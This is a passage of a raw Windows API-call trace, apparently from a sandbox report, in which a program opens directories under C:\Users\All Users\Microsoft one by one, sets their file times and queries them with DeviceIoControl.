nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.817] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore" (normalized: "c:\\users\\all users\\microsoft\\netframework\\breadcrumbstore"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.817] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.818] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.818] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network" (normalized: "c:\\users\\all users\\microsoft\\network"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.818] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.818] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.818] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections" (normalized: "c:\\users\\all users\\microsoft\\network\\connections"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.819] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.819] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.819] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.819] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.819] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.820] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE" (normalized: "c:\\users\\all users\\microsoft\\office"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.820] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.820] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.822] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.822] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.822] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.823] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.823] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.823] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.827] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.827] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.827] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.830] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.831] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.831] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.832] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.832] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.832] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.832] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC" (normalized: "c:\\users\\all users\\microsoft\\rac"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.832] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.832] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.833] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound" (normalized: "c:\\users\\all users\\microsoft\\rac\\outbound"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.833] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.833] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.833] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.833] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.833] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.833] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.834] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.834] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.834] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp" (normalized: "c:\\users\\all users\\microsoft\\rac\\temp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.834] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.834] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.835] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search" (normalized: "c:\\users\\all users\\microsoft\\search"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.836] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.836] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.836] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data" (normalized: "c:\\users\\all users\\microsoft\\search\\data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.836] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.836] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.837] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.837] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.837] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.838] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.838] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.838] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.840] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.840] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0256.840] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0256.841] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0256.841] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0256.841] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0256.842] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0256.843] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0256.843] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0256.843] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.843] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0256.844] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0256.845] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.845] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0256.845] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0256.846] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.846] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fe0fc, lpLastWriteTime=0x15fe0fc) returned 0 [0256.846] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe154, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe154, lpOverlapped=0x0) returned 0 [0256.850] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0256.850] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fde44, lpLastWriteTime=0x15fde44) returned 0 [0256.850] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fde9c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fde9c, lpOverlapped=0x0) returned 0 [0256.858] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1cc [0256.858] SetFileTime (hFile=0x1cc, lpCreationTime=0x0, lpLastAccessTime=0x15fe0fc, lpLastWriteTime=0x15fe0fc) returned 0 [0256.858] DeviceIoControl (in: hDevice=0x1cc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe154, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe154, lpOverlapped=0x0) returned 0 [0256.861] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1d0 [0256.862] SetFileTime (hFile=0x1d0, lpCreationTime=0x0, lpLastAccessTime=0x15fe0fc, lpLastWriteTime=0x15fe0fc) returned 0 [0256.862] DeviceIoControl (in: hDevice=0x1d0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe154, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe154, lpOverlapped=0x0) returned 0 [0256.862] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\temp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.862] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.863] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.866] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures" (normalized: "c:\\users\\all users\\microsoft\\user account pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.866] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.866] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.866] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.867] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.867] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.870] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault" (normalized: "c:\\users\\all users\\microsoft\\vault"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.870] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.870] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17fbc18, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x17fbc18, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.871] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO" (normalized: "c:\\users\\all users\\microsoft\\visio"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0256.871] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.871] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17fbc18, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x17fbc18, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.871] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows" (normalized: "c:\\users\\all users\\microsoft\\windows"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.871] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.871] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, 